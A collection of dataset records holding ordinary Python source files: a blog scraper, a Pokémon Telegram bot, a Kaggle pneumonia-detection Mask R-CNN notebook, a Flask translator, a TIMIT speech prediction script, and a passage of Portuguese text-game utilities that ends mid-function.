+{"seq_id":"71899797495","text":"# blog parser to txt. alexmutnyi.com\nimport requests\nfrom bs4 import BeautifulSoup\nimport codecs\nimport re\n\n\nfileObj = codecs.open( \"D:\\\\Downloads\\\\AlexMutnyi\\\\html.txt\", \"r\", \"utf_8_sig\" )\ntext = fileObj.read()\nfileObj.close()\n\nsoup = BeautifulSoup(text, 'html.parser')\nelem = soup.findAll('a',{\"class\":\"blog-link-hover-color\"})\nlistOflinks = []\nfor i in elem:\n    link = i['href']\n    listOflinks.insert(0,link)\n\nunacceptables = ['/','\\\\',':','*','>','\\\"','<','|','?','\\\\n','n']\ncount = 0\nfor ilink in listOflinks:\n    res = requests.get(ilink).text\n    soup = BeautifulSoup(res,'html.parser')\n    title = soup.title.text\n    text = soup.find('div',{\n        'class':'post-content__body'\n    })\n    text2 = [''.join(s.findAll(text=True))for s in text.findAll('p')]\n    print(text2)\n    print(title)\n    for z in title:\n        if z in unacceptables:\n            title = title.replace(z,'')\n            print(title)    \n    title = title.replace('\\\\n','')\n    title = title.replace('\\n','')\n    filename = str(count) + '. ' + title.strip(\" \\n\")\n    writeFile = open(\n        f'D:\\\\Downloads\\\\AlexMutnyi\\\\{filename}.txt', 'w')\n    for i in text2:\n        try:\n            writeFile.write(i)\n        except:\n            pass\n    writeFile.close()\n    count+=1\n    ","repo_name":"IlyaMrz/some-projects","sub_path":"alexmutnyi.py","file_name":"alexmutnyi.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"37098583866","text":"import json\nimport re\nimport uvloop\n\nfrom pokepy import V2Client as pokemon_client\nfrom pyrogram import Client, filters\n\nimport data\nimport inline\nimport datapage\nimport moves\nimport markup\nimport shiny\nimport const\n\n\nuvloop.install()\napp = Client(const.SESSION_NAME,\n    api_id=const.API_ID,\n    api_hash=const.API_HASH,\n    bot_token=const.BOT_TOKEN\n)\nwith open(const.USER_SETTINGS_PATH) as f:\n    user_settings = json.load(f)\nuser_query_results = {}\n\n\n@app.on_message(filters.command('start'))\nasync def start(client, message):\n    '''/start command:\n    it shows a brief description of the bot and the usage'''\n\n    user_id = message.from_user.id\n    if str(user_id) not in user_settings:\n        create_user_settings(user_id)\n\n    is_preview_hidden = False\n    reply_markup = None\n\n    if len(message.command) == 1:\n        # Regular /start\n        if is_shiny_unlocked(user_id):\n            text = const.START_SHINY_UNLOCKED\n        else:\n            text = const.START\n    else:\n        # Link to data (e.g.: ability, move, another Pokémon) page\n        key, value = message.command[1].split('-', maxsplit=1)\n\n        if key == 'pokemon':\n            is_expanded = False\n            pokemon = pokemon_client().get_pokemon(value).pop()\n            text = datapage.get_datapage_text(pokemon, is_expanded, is_shiny_setted(user_id))\n            reply_markup = markup.datapage_markup(pokemon.name)\n\n        if key == 'ability':\n            is_preview_hidden = True\n            ability = pokemon_client().get_ability(value).pop()\n            text = data.get_ability_page_text(ability)\n\n        if key == 'move':\n            is_preview_hidden = True\n            move = pokemon_client().get_move(value).pop()\n            text = moves.get_move_page_text(move)\n\n    await client.send_message(\n        chat_id=user_id,\n        text=text,\n        reply_markup=reply_markup,\n        disable_web_page_preview=is_preview_hidden\n    )\n\n\n@app.on_message(filters.command('toggle_shiny'))\nasync def toggle_shiny(client, message):\n    '''set/unset the Pokémon shiny form for the thumbnail'''\n\n    user_id = message.from_user.id\n    if str(user_id) not in user_settings:\n        create_user_settings(user_id)\n\n    if is_shiny_unlocked(user_id):\n        if is_shiny_setted(user_id):\n            unset_shiny(user_id)\n            text = const.UNSET_SHINY\n        else:\n            set_shiny(user_id)\n            text = const.SET_SHINY\n\n        await client.send_message(\n            chat_id=user_id,\n            text=text\n        )\n\n\n@app.on_inline_query()\nasync def inline_search(client, inline_query):\n    '''Search Pokémon via inline mode.\n    It shows one or more query results based on the input.\n    e.g.:\n    @rotogrambot rotom'''\n\n    user_id = inline_query.from_user.id\n    query_message = inline_query.query\n    if str(user_id) not in user_settings:\n        create_user_settings(user_id)\n\n    if not inline.has_minimum_characters(query_message):\n        await inline.show_help_button(inline_query)\n        return\n\n    match_list = inline.get_matching_pokemon(query_message.lower())\n    query_results = inline.get_query_results(match_list, is_shiny_setted(user_id))\n    store_user_query_results(query_results, match_list, user_id)\n\n    await inline_query.answer(\n        results=query_results,\n        cache_time=const.CACHE_TIME\n    )\n\n\n@app.on_chosen_inline_result()\nasync def create_page(client, inline_query):\n    '''Create page of chosen Pokémon'''\n\n    user_id = inline_query.from_user.id\n    result_id = inline_query.result_id\n    message_id = inline_query.inline_message_id\n    pokemon_name = user_query_results[user_id][result_id]\n    if str(user_id) not in user_settings:\n        create_user_settings(user_id)\n\n    if shiny.is_shiny_keyword(pokemon_name):\n        await shiny.load_shiny_page(app, inline_query, is_shiny_unlocked(user_id))\n        return\n\n    pokemon = pokemon_client().get_pokemon(pokemon_name).pop()\n    is_expanded = False\n\n    await client.edit_inline_text(\n        inline_message_id=message_id,\n        text=datapage.get_datapage_text(pokemon, is_expanded, is_shiny_setted(user_id)),\n        reply_markup=markup.datapage_markup(pokemon_name)\n    )\n\n\n@app.on_callback_query(filters.create(lambda _, __, query: 'infos' in query.data))\nasync def expand(client, query):\n    '''Expand/Reduce button:\n    get more/less data (such as Pokédex and other game data)'''\n\n    user_id = query.from_user.id\n    message_id = query.inline_message_id\n    if str(user_id) not in user_settings:\n        create_user_settings(user_id)\n\n    # first value (underscore) is useless, it's just used to call expand()\n    _, is_expanded, pokemon_name = re.split('/', query.data)\n    is_expanded = int(is_expanded)\n\n    pokemon = pokemon_client().get_pokemon(pokemon_name).pop()\n\n    # Page is created by a link\n    if message_id is None:\n        return await query.message.edit_text(\n            text=datapage.get_datapage_text(pokemon, is_expanded, is_shiny_setted(user_id)),\n            reply_markup=markup.datapage_markup(pokemon_name, is_expanded)\n        )\n\n    await client.answer_callback_query(query.id)  # Delete the loading circle\n    await client.edit_inline_text(\n        inline_message_id=message_id,\n        text=datapage.get_datapage_text(pokemon, is_expanded, is_shiny_setted(user_id)),\n        reply_markup=markup.datapage_markup(pokemon_name, is_expanded)\n    )\n\n\n@app.on_callback_query(filters.create(lambda _, __, query: 'movepool' in query.data))\nasync def show_movepool(client, query):\n    '''Movepool button:\n    show all moves and their main parameters that a Pokémon can learn'''\n\n    user_id = query.from_user.id\n    message_id = query.inline_message_id\n    if str(user_id) not in user_settings:\n        create_user_settings(user_id)\n\n    # first value (underscore) is useless, it's just used to call get_movepool()\n    _, current_page, pokemon_name = re.split('/', query.data)\n    current_page = int(current_page)\n\n    pokemon = pokemon_client().get_pokemon(pokemon_name).pop()\n\n    # Page is created by a link\n    if message_id is None:\n        return await query.message.edit_text(\n            text=moves.get_movepool_page(pokemon, current_page, is_shiny_setted(user_id)),\n            reply_markup=markup.movepool_markup(pokemon, current_page)\n        )\n\n    await client.answer_callback_query(query.id)  # Delete the loading circle\n    await client.edit_inline_text(\n        inline_message_id=message_id,\n        text=moves.get_movepool_page(pokemon, current_page, is_shiny_setted(user_id)),\n        reply_markup=markup.movepool_markup(pokemon, current_page)\n    )\n\n\n@app.on_callback_query(filters.create(lambda _, __, query: 'shiny_prompt' == query.data))\nasync def show_shiny_page(client, query):\n    '''Show the hidden page for unlock shiny thumbnails'''\n\n    user_id = query.from_user.id\n    message_id = query.inline_message_id\n    if str(user_id) not in user_settings:\n        create_user_settings(user_id)\n\n    await client.answer_callback_query(query.id)  # Delete the loading circle\n    await client.edit_inline_text(\n        inline_message_id=message_id,\n        text='???',\n        reply_markup=markup.accept_shiny()\n    )\n\n\n@app.on_callback_query(filters.create(lambda _, __, query: 'accept_shiny' == query.data))\nasync def accept_shiny(client, query):\n    '''Unlock shiny thumbnails'''\n\n    user_id = query.from_user.id\n    message_id = query.inline_message_id\n    if str(user_id) not in user_settings:\n        create_user_settings(user_id)\n\n    unlock_shiny(user_id)\n\n    await client.edit_inline_text(\n        inline_message_id=message_id,\n        text=const.SHINY_ACCEPTED\n    )\n\n\ndef store_user_query_results(query_results, match_list, user_id):\n    user_query_results[user_id] = {}\n    for result, pokemon_name in zip(query_results, match_list):\n        user_query_results[user_id] |= {result.id: pokemon_name}\n\n\ndef create_user_settings(user_id):\n    # user_id is stored as string because json.dump() would generate\n    # duplicate if we use int, since it would eventually converted in a string\n    user_settings[str(user_id)] = {\n        'shiny': False,\n        'is_shiny_unlocked': False\n    }\n    dump_user_settings()\n\n\ndef is_shiny_setted(user_id):\n    return user_settings[str(user_id)]['shiny'] is True\n\n\ndef set_shiny(user_id):\n    user_settings[str(user_id)]['shiny'] = True\n    dump_user_settings()\n\n\ndef unset_shiny(user_id):\n    user_settings[str(user_id)]['shiny'] = False\n    dump_user_settings()\n\n\ndef is_shiny_unlocked(user_id):\n    return user_settings[str(user_id)]['is_shiny_unlocked'] is True\n\n\ndef unlock_shiny(user_id):\n    user_settings[str(user_id)]['is_shiny_unlocked'] = True\n    dump_user_settings()\n\n\ndef dump_user_settings():\n    with open(const.USER_SETTINGS_PATH, 'w') as f:\n        json.dump(user_settings, f, indent=4)\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"alessiocelentano/rotogram","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8844,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"22"}
+{"seq_id":"69947829498","text":"import numpy as np\n\nimport pandas as pd\n\nimport pydicom\n\nimport matplotlib.pyplot as plt\n\nimport matplotlib.patches as patches\n\nimport os\n\nimport sys\n\nimport math\n\nfrom tqdm import tqdm\n\nimport seaborn as sns\n\nimport random\n\n\n\nimport cv2\n\nfrom mrcnn.config import Config\n\nfrom mrcnn import model as modellib\n\nfrom mrcnn import visualize\n\nfrom mrcnn import utils\n\nfrom mrcnn.model import log\n\n\n\nimport tensorflow as tf\n\nimport keras\ntf.__version__\ntf.test.is_gpu_available()\ndirname = '../input/rsna-pneumonia-detection-challenge/'\n\ntrain = pd.read_csv(dirname+'stage_2_train_labels.csv')\n\n#train.fillna(value=-1, inplace=True)\n\nprint(train.head())\n\nprint(train.describe())\n\n#print(train.isnull())\npneumonia_locations = {}\n\ntrain_images = []\n\ntarget = []\n\nfor i in range(len(train)):\n\n    n = str(dirname + 'stage_2_train_images/' + train['patientId'][i] + '.dcm')\n\n    if n not in train_images:\n\n        train_images.append(n)\n\n        target.append(train['Target'][i])\n\n    if train['Target'][i]==1:\n\n        loc = [int(train['x'][i]), int(train['y'][i]),\n\n               int(train['width'][i]), int(train['height'][i])]\n\n        if n in pneumonia_locations:\n\n            pneumonia_locations[n].append(loc)\n\n        else:\n\n            pneumonia_locations[n] = [loc]\n\ntrain_images = pd.DataFrame(train_images)\n\ntrain_images.columns = ['filepath']\n\ntrain_images['Target'] = target\ndel train\n\nprint(train_images.head())\n\nlen(train_images)\nX = list(train_images['filepath'])\n\nrandom.seed(42)\n\nrandom.shuffle(X)\n\nl = int(0.2*len(X))\n\ntrain_X = X[l:]\n\nval_X =X[:l]\nprint(len(train_X))\n\nprint(len(val_X))\nsns.countplot(train_images.Target)\ni=0\n\nln = []\n\nfor item in pneumonia_locations:\n\n    ln.append(len(pneumonia_locations[item]))\n\n    i+=1\n\nsns.countplot(ln)\n\nim = (pydicom.dcmread(train_images['filepath'][0]).pixel_array)\n\nplt.imshow(im)\n\nplt.show()\nfig = plt.figure(figsize = (15,10))\n\ncolumns = 5\n\nrows = 2\n\nfor i in [0,1]:\n\n    df = train_images[train_images['Target']==i].sample(5)\n\n    df = list(df['filepath'])\n\n    for j in range(5):\n\n        fig.add_subplot(rows, columns, i*columns + j +1)\n\n        plt.imshow((pydicom.dcmread(df[j]).pixel_array)) #cmap = plt.cm.bone\n\n    del df\nf, axarr = plt.subplots(2, 5, figsize=(20, 15))\n\naxarr = axarr.ravel()\n\naxidx = 0\n\ndf1 = train_images[train_images['Target']==0].sample(5)\n\ndf2 = train_images[train_images['Target']==1].sample(5)\n\ndf = np.concatenate((np.array(df1['filepath']),np.array(df2['filepath'])),axis=0)\n\ndf = list(df)\n\nfor i in range(len(df)):\n\n    axarr[axidx].imshow(pydicom.dcmread(df[i]).pixel_array)\n\n    if df[i] in pneumonia_locations:\n\n        l = pneumonia_locations[df[i]]\n\n        for j in l:\n\n            axarr[axidx].add_patch(patches.Rectangle((j[0], j[1]), j[2], j[3], linewidth=2, edgecolor='b', facecolor='none'))\n\n    axidx+=1\n\nplt.show()\nclass PneumoniaConfig(Config):\n\n    NAME = 'Pneumonia'\n\n    \n\n    GPU_COUNT = 1\n\n    IMAGES_PER_GPU = 8\n\n    \n\n    BACKBONE = 'resnet50'\n\n    \n\n    NUM_CLASSES = 2  # background + 1 pneumonia classes\n\n    \n\n    IMAGE_MIN_DIM = 256\n\n    IMAGE_MAX_DIM = 256\n\n    RPN_ANCHOR_SCALES = (16, 32, 64, 128, 256)\n\n    TRAIN_ROIS_PER_IMAGE = 32\n\n    MAX_GT_INSTANCES = 4\n\n    DETECTION_MAX_INSTANCES = 3\n\n    DETECTION_MIN_CONFIDENCE = 0.78  ## match target distribution\n\n    DETECTION_NMS_THRESHOLD = 0.01\n\n\n\n    STEPS_PER_EPOCH = 200\n\n\n\nconfig = PneumoniaConfig()\n\nconfig.display()\nclass DatasetGenerator(utils.Dataset):\n\n    \n\n    def __init__(self, fp, pneumonia_locations=None, batch_size=32, image_size=1024, predict=False):\n\n        super().__init__(self)\n\n        self.fp = fp\n\n        self.pneumonia_locations = pneumonia_locations\n\n        self.batch_size = batch_size\n\n        self.image_size = image_size\n\n        self.predict = predict\n\n        \n\n        self.add_class('Pneumonia', 1, 'pneumonia')\n\n        for id, fps in enumerate(fp):\n\n            self.add_image('Pneumonia',image_id=id,\n\n                          path =fps)\n\n        \n\n    def load_mask(self, image_id):\n\n        info = self.image_info[image_id]\n\n        fps = info['path']\n\n        if fps in self.pneumonia_locations:\n\n            l = self.pneumonia_locations[fps]\n\n            mask = np.zeros((self.image_size, self.image_size, len(l)), dtype=np.uint8)\n\n            class_ids = np.zeros((len(l),), dtype=np.int32)\n\n            i=0\n\n            for a in l:\n\n                x=int(a[0])\n\n                y=int(a[1])\n\n                w=int(a[2])\n\n                h=int(a[3])\n\n                mask_instance = mask[:,:,i].copy()\n\n                cv2.rectangle(mask_instance, (x,y), (x+w,y+h), 255, -1)\n\n                mask[:,:,i] = mask_instance\n\n                class_ids[i] = 1\n\n                i+=1\n\n        else:\n\n            mask = np.zeros((self.image_size, self.image_size, 1), dtype=np.uint8)\n\n            class_ids = np.zeros((1,), dtype=np.int32)\n\n        return mask.astype(np.bool), class_ids.astype(np.int32)\n\n    \n\n    def load_image(self, image_id):\n\n        info = self.image_info[image_id]\n\n        fps = info['path']\n\n        image = pydicom.dcmread(fps).pixel_array\n\n        if len(image.shape) != 3 or image.shape[2] != 3:\n\n            image = np.stack((image,) * 3, -1)\n\n        return image\n\n    \n\n    def image_reference(self, image_id):\n\n        info = self.image_info[image_id]\n\n        return info['path']\ntrain_gen = DatasetGenerator(train_X, pneumonia_locations)\n\ntrain_gen.prepare()\n\n\n\nval_gen = DatasetGenerator(val_X, pneumonia_locations)\n\nval_gen.prepare()\n# Load and display random samples\n\nimage_ids = np.random.choice(train_gen.image_ids,5)\n\nfor image_id in image_ids:\n\n    image = train_gen.load_image(image_id)\n\n    mask, class_ids = train_gen.load_mask(image_id)\n\n    visualize.display_top_masks(image, mask, class_ids, \n\n                                train_gen.class_names, limit=1)\n\n    print(mask.shape)\n\n    print(image.shape)\n# Load random image and mask.\n\nimage_id = np.random.choice(train_gen.image_ids, 1)[0]\n\nimage = train_gen.load_image(image_id)\n\nmask, class_ids = train_gen.load_mask(image_id)\n\n\n\n# Compute Bounding box\n\nbbox = utils.extract_bboxes(mask)\n\n\n\n# Display image and instances\n\nvisualize.display_instances(image, bbox, mask, class_ids, \n\n                            train_gen.class_names)\ndef model_definition():\n\n    print(\"loading mask R-CNN model\")\n\n    model = modellib.MaskRCNN(mode='training', \n\n                              config=config, \n\n                              model_dir='/kaggle/working')\n\n    \n\n    # load the weights for COCO\n\n    model.load_weights('/kaggle/input' + '/cocowg/mask_rcnn_coco.h5',\n\n                       by_name=True, \n\n                       exclude=[\"mrcnn_class_logits\",\n\n                                \"mrcnn_bbox_fc\",  \n\n                                \"mrcnn_bbox\",\"mrcnn_mask\"])\n\n    return model   \n\n\n\nmodel = model_definition()\nfrom keras.callbacks import (ModelCheckpoint, ReduceLROnPlateau, CSVLogger)\n\n\n\ndef callback():\n\n    cb = []\n\n    checkpoint = ModelCheckpoint('/kaggle/working'+'/pneumonia_wg.h5',\n\n                                 save_best_only=True,\n\n                                 mode='min',\n\n                                 monitor='val_loss',\n\n                                 save_weights_only=True, verbose=1)\n\n    cb.append(checkpoint)\n\n    reduceLROnPlat = ReduceLROnPlateau(monitor='val_loss',\n\n                                   factor=0.3, patience=5,\n\n                                   verbose=1, mode='auto',\n\n                                   epsilon=0.0001, cooldown=1, min_lr=0.00001)\n\n    log = CSVLogger('/kaggle/working'+'/pneumonia_history.csv')\n\n    cb.append(log)\n\n    cb.append(reduceLROnPlat)\n\n    return cb\nimport warnings \n\nwarnings.filterwarnings(\"ignore\")\nCB = callback()\n\nLEARNING_RATE = 0.006\n\n\n\nmodel.train(train_gen, val_gen, \n\n                learning_rate=LEARNING_RATE*2,\n\n                custom_callbacks = CB,\n\n                epochs=2, layers='all') \nhistory = model.keras_model.history.history\nCB = callback()\n\nLEARNING_RATE = 0.006\n\n\n\nmodel.train(train_gen, val_gen, \n\n                learning_rate=LEARNING_RATE,\n\n                custom_callbacks = CB,\n\n                epochs=6, layers='heads') \nnew_history = model.keras_model.history.history\n\nfor k in new_history: history[k] = history[k] + new_history[k]\n# CB = callback()\n\n# LEARNING_RATE = 0.006\n\n\n\n# model.train(train_gen, val_gen, \n\n#                 learning_rate=LEARNING_RATE,\n\n#                 custom_callbacks = CB,\n\n#                 epochs=18, layers='all')\n# new_history = model.keras_model.history.history\n\n# for k in new_history: history[k] = history[k] + new_history[k]\nepochs = range(1,len(next(iter(history.values())))+1)\n\npd.DataFrame(history, index=epochs)\nplt.figure(figsize=(17,5))\n\n\n\nplt.subplot(131)\n\nplt.plot(epochs, history[\"loss\"], label=\"Train loss\")\n\nplt.plot(epochs, history[\"val_loss\"], label=\"Valid loss\")\n\nplt.legend()\n\nplt.subplot(132)\n\nplt.plot(epochs, history[\"mrcnn_class_loss\"], label=\"Train class ce\")\n\nplt.plot(epochs, history[\"val_mrcnn_class_loss\"], label=\"Valid class ce\")\n\nplt.legend()\n\nplt.subplot(133)\n\nplt.plot(epochs, history[\"mrcnn_bbox_loss\"], label=\"Train box loss\")\n\nplt.plot(epochs, history[\"val_mrcnn_bbox_loss\"], label=\"Valid box loss\")\n\nplt.legend()\n\n\n\nplt.show()\nclass InferenceConfig(PneumoniaConfig):\n\n    GPU_COUNT = 1\n\n    IMAGES_PER_GPU = 1\n\n    \n\ninferconfig = InferenceConfig()\n\nmodel = modellib.MaskRCNN(mode='inference', \n\n                              config=inferconfig,\n\n                              model_dir='/kaggle/working')\n\nmodel.load_weights('/kaggle/working/pneumonia_wg.h5',\n\n                  by_name = True)\ntest = []\n\nfor dname, _, filenames in os.walk('/kaggle/input/rsna-pneumonia-detection-challenge/stage_2_test_images/'):\n\n    for filename in filenames:\n\n        test.append(str(os.path.join(dname, filename)))\n\nprint(test[:5])\ndef predict(fp, filepath='submission.csv', min_conf=0.95):\n\n    with open(filepath, 'w') as file:\n\n        resize_factor = 1024/ config.IMAGE_SHAPE[0]\n\n        \n\n        file.write(\"patientId,PredictionString\\n\")\n\n\n\n        for image_id in tqdm(fp):\n\n            image = pydicom.read_file(image_id).pixel_array\n\n            # If grayscale. Convert to RGB for consistency.\n\n            if len(image.shape) != 3 or image.shape[2] != 3:\n\n                image = np.stack((image,) * 3, -1)\n\n            image, window, scale, padding, crop = utils.resize_image(\n\n                image,\n\n                min_dim=config.IMAGE_MIN_DIM,\n\n                min_scale=config.IMAGE_MIN_SCALE,\n\n                max_dim=config.IMAGE_MAX_DIM,\n\n                mode=config.IMAGE_RESIZE_MODE)\n\n\n\n            patient_id = os.path.splitext(os.path.basename(image_id))[0]\n\n\n\n            results = model.detect([image])\n\n            r = results[0]\n\n\n\n            out_str = \"\"\n\n            out_str += patient_id\n\n            out_str += \",\"\n\n            assert( len(r['rois']) == len(r['class_ids']) == len(r['scores']) )\n\n            if len(r['rois']) == 0:\n\n                pass\n\n            else:\n\n                num_instances = len(r['rois'])\n\n\n\n                for i in range(num_instances):\n\n                    if r['scores'][i] > min_conf:\n\n                        out_str += ' '\n\n                        out_str += str(round(r['scores'][i], 2))\n\n                        out_str += ' '\n\n\n\n                        # x1, y1, width, height\n\n                        x1 = r['rois'][i][1]\n\n                        y1 = r['rois'][i][0]\n\n                        width = r['rois'][i][3] - x1\n\n                        height = r['rois'][i][2] - y1\n\n                        bboxes_str = \"{} {} {} {}\".format(x1*resize_factor, y1*resize_factor, \\\n\n                                                           width*resize_factor, height*resize_factor)\n\n                        out_str += bboxes_str\n\n\n\n            file.write(out_str+\"\\n\")\nsubmission = os.path.join('/kaggle/working', 'submission.csv')\n\npredict(test, filepath=submission)\nsubmit = pd.read_csv(submission)\n\nsubmit.head(10)","repo_name":"aorursy/new-nb-5","sub_path":"mushaya_pneumonia-detection-mask-rcnn-1.py","file_name":"mushaya_pneumonia-detection-mask-rcnn-1.py","file_ext":"py","file_size_in_byte":11990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20209236120","text":"from flask import Flask , render_template , request\r\nfrom textblob import TextBlob \r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef home():\r\n    return render_template(\"home.html\")\r\n\r\n@app.route(\"/data\" , methods = [\"post\"])\r\ndef data():\r\n    t = request.form.get(\"detect\")\r\n    t_from = request.form.get(\"languages\")\r\n    t_to = request.form.get(\"translate\")\r\n    \r\n    a = TextBlob(t)\r\n    data = a.translate(from_lang=t_from , to=t_to)\r\n\r\n    return render_template(\"home.html\" , data = data)\r\n\r\napp.run()","repo_name":"suhataj/Language-Translation---NLP","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"432377557","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport argparse\nimport os\nimport glob\nfrom util import *\nfrom timit import *\nimport random\nimport model_dnn\nimport model_dcnn\n\nparser = argparse.ArgumentParser(description='')\nparser.add_argument('data', default='./data/',\n                    help='data folder')\nparser.add_argument('feat', default='mfcc',\n                    help='mfcc or fbank')\nparser.add_argument('model', default='dnn',\n                    help='model (dnn or dcnn)')\nparser.add_argument('model_file', default='rnn.pt',\n                    help='model file')\nparser.add_argument('--hidden_size', type=int, default=int(30))\nparser.add_argument('--n_layers', type=int, default=int(2))\nparser.add_argument('--batch_size', type=int, default=int(32))\nparser.add_argument('--frame_size', type=int, default=int(17))\nparser.add_argument('--window_size_x', type=int, default=int(3))\nparser.add_argument('--window_size_y', type=int, default=int(2))\nargs = parser.parse_args()\n\n\nHIDDEN_SIZE = args.hidden_size\nFRAME_SIZE = args.frame_size\nWINDOW_SIZE = (args.window_size_x, args.window_size_y)\nBATCH_SIZE = args.batch_size\nN_LAYERS = args.n_layers\nDROPOUT = 0\n\nprint(args.model, args.model_file, FRAME_SIZE, HIDDEN_SIZE, N_LAYERS, BATCH_SIZE, WINDOW_SIZE, DROPOUT)\n\ntimit = TIMIT(args.data, \"te\", args.feat)\n\nif args.model == \"dnn\":\n    model = model_dnn.DNN(timit.N_FEAT, FRAME_SIZE, HIDDEN_SIZE, timit.N_LABEL, BATCH_SIZE, N_LAYERS, 0)\nelif args.model == \"dcnn\":\n    model = model_dcnn.CNN(timit.N_FEAT, FRAME_SIZE, HIDDEN_SIZE, timit.N_LABEL, BATCH_SIZE, N_LAYERS, 0)\n\nstate_dict = torch.load(os.path.join(\"models\", args.model_file), map_location=lambda storage, location: storage)\nmodel.load_state_dict(state_dict)\nmodel = model.eval()\n\nif USE_CUDA:\n    model.cuda()\n\nmodel.eval()\n\ndef batch_pre(inp, useful):\n    # inp: (BATCH_SIZE x timit.N_FEAT)\n    output = model(inp)\n    output = output.max(1)[1].data[:useful]\n    return list(output)\n\n\nphseq = {}\n\n\nfor i in range(0, len(timit.te_idx_set), BATCH_SIZE):\n    xss, ids, useful = timit.get_flat_batch(i, BATCH_SIZE, FRAME_SIZE, \"te\")\n    print(ids)\n    X = Variable(torch.Tensor(xss))\n    res = batch_pre(X, useful)\n    for (y, (i, j)) in zip(res, ids):\n        if i not in phseq:\n            phseq[i] = []\n        phseq[i].append((j, y))\n\n\nf = open(\"submissions/submit_%s.csv\" % args.model_file, \"w\")\nf.write(\"id,phone_sequence\\n\")\n\ndef trim(ys):\n    res = []\n    pre = -1\n    for y in ys:\n        if pre != y:\n            res.append(y)\n        pre = y\n    if len(res) == 1:\n        return res\n    if res[0] == timit.lab2id['sil']:\n        res = res[1:]\n    if res[-1] == timit.lab2id['sil']:\n        res = res[:-1]\n    return res\n\nfor (id, ys) in phseq.items():\n    ys.sort()\n    res = [y for (j, y) in ys]\n    res = trim(res)\n    f.write(\"%s,%s\\n\" % (id, ''.join(timit.id2ascii[y] for y in res)))\n\nf.close()\n\n","repo_name":"lic225/ADLxMLDS2017","sub_path":"hw1/predict_dnn.py","file_name":"predict_dnn.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23253898994","text":"import time\nimport os\n\nWHITE = '\\033[1;97m'\nRESET = '\\033[0m'\nRED = '\\033[1;91m'\nGREEN = '\\033[1;92m'\nYELLOW = '\\033[1;93m'\nBLUE = '\\033[1;94m'\nMAGENTA = '\\033[1;95m'\nCYAN = '\\033[1;96m'\n\ndef limpaTela():\n    os.system('cls' if os.name == 'nt' else 'clear')\n\ndef linha(vezes,tipo):\n    print(tipo * vezes)\n\ndef tempo(seg):\n    time.sleep(seg)\n\ndef espaco(tam):\n    print(\" \" * tam)\n\ndef novaLinha():\n    print(\"\\n\")\n\ndef opcaoError():\n        linha(RED + \"=-=\",20)\n        print(\"OPÇÃO ERRADA! TENTE NOVAMENTE!\")\n        linha(\"=-=\", 20)  \n        print(RESET)\n\ndef personagem():\n    print(CYAN)\n    print(\"Nome: Mayws Jonhson\")\n    tempo(0.5)\n    print(\"Idade: 33 anos\")\n    tempo(0.5)\n    print(\"Peso: 65 KG\")\n    tempo(0.5)\n    print(\"Altura: 1,87m\")\n    tempo(0.5)\n    print(\"Nacionalidade: Inglês com descendência austriaca\")\n    print(RESET)\n    novaLinha()\n\n    while True:\n        opcaoPer = str(input(GREEN +'DIGITE \"S\" PARA IR AO MENU PRINCIPAL / \"M\" PARA VOLTAR AO MENU: '+ RESET)).upper().strip()\n        if opcaoPer == \"S\":\n            limpaTela()\n            menuStart()\n            break\n        elif opcaoPer == \"M\":\n            limpaTela()\n            opcaoMenu()\n            break\n        else:\n            opcaoError()\n\ndef controlesJogo():\n    novaLinha()\n    print(CYAN + \"CONTROLES DO JOGO:\")\n    tempo(0.5)\n    print(' Interatividade pura, escolha utilizando teclado.')\n    print(' #==================================================================================#')\n    print(' Aperte \"C\" na interação para ver as configurações.')\n    print(' Aperte \"P\" na interação para ver o personagem.')\n    print(' Aperte \"M\" na interação para voltar a tela principal do jogo.')\n    print(' Aperte \"K\" para voltar ao jogo quando estiver nas configurações ou no personagem...')\n    print(' #==================================================================================#\\n  ')\n    tempo(0.5)\n    print('_____________________________________________________________________________________')\n    print('Para interagir siga essas regras:')\n    print(' * Digite apenas A ou B e nada mais, exceto caso queria a configuração.')\n    print(' * Se a interatividade pedir números então digite-os corretamente.')\n    print(' * Em alguns momentos terão mini-games para passar de fase, então prepare-se.')\n    p(\"_____________________________________________________________________________________\"+ RESET)\n    tempo(0.5)\n    novaLinha()\n\n    while True:\n        opcaoControle = str(input(GREEN+'DIGITE \"S\" PARA IR A TELA INICIAL / \"M\" PARA VOLTAR AO MENU:'+RESET)).upper().strip()\n        if opcaoControle == 'S':\n            limpaTela()\n            menuStart()\n            break\n        elif opcaoControle == 'M':\n            limpaTela()\n            opcaoMenu()\n            break\n        else:\n            opcaoError()\n\ndef repetirHora(zero,n,pontos,num,vezes):\n    for var in range(1,vezes + 1):\n        print(\"        +       \")\n        print(\"=================\")\n        print(\"   \",zero,n,pontos,num)\n        print(\"=================\")\n        print(\"   ZZzzzz\")\n        print(\"********\")\n        print(\"([- . -])\")\n        tempo(1.5)\n        if var != 5:\n            limpaTela()\n        num = num + 5\n        if var == 4:\n            print(RED)\n        \n\ndef p(text):\n    print(f\"{text}\")\n\ndef opcaoGame(a,b):\n    print(CYAN)\n    largura = len(a) + 7\n    largurab = len(b) + 7\n    print(\"#\" * largura)\n    print(\"# A-\",a,\"#\")\n    print(\"#\" * largura)\n    tempo(2)\n    novaLinha()\n    print(\"#\" * largurab)\n    print(\"# B-\",b,\"#\")\n    print(\"#\" * largurab)\n    print(RESET)\n    tempo(3)\n    novaLinha()\n\ndef escolha(text):\n    print(CYAN + \"-----------------------------------------------------------------------------------------------------------------------\")\n    print(\"#\",text,\"#\")\n    print(\"-----------------------------------------------------------------------------------------------------------------------\" + RESET)\n\ndef repetirNum(vezes,intervalo):\n    print(YELLOW)\n    print(\"PENSE...\")\n    tempo(1)\n    for var in range(1,vezes+1):\n        print(var,end =\" > \")\n        tempo(intervalo)\n    print(\"FIM\")\n    print(RESET)\n\ndef gameOver():\n    